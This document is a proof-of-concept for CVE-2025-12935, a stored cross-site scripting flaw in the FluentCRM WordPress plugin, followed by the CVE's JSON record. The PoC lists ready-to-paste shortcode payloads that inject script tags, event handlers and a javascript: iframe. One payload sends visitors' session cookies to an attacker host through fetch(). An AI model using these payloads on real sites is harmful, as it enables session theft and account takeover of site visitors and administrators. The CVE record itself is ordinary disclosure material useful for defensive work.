CVE-2025-12935

<!-- WordPress FluentCRM XSS PoC - CVE-2025-12935 --> <!-- Requires contributor-level access --> <!-- Basic XSS injection via shortcode attribute --> [fluentcrm_content test_attr='"><script>alert(document.cookie)</script>'] <!-- Alternative payload with event handler --> [fluentcrm_content title='XSS" onmouseover="alert(document.domain)" x='] <!-- Steal session cookies --> [fluentcrm_content content='<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">'] <!-- Stored XSS with iframe injection --> [fluentcrm_content classname='"><iframe src="javascript:alert(document.cookie)">']

{"cve": {"id": "CVE-2025-12935", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:45.850", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The FluentCRM – Email Newsletter, Automation, Email Marketing, Email Campaigns, Optins, Leads, and CRM Solution plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'fluentcrm_content' shortcode in all versions up to, and including, 2.9.84 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/fluent-crm/tags/2.9.84/app/Hooks/Handlers/PrefFormHandler.php#L175", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/fluent-crm/tags/2.9.84/app/Hooks/actions.php#L172", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3399640/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7129e5cb-ce70-477a-a8f1-3acf152dfc21?source=cve", "source": "[email protected]"}]}}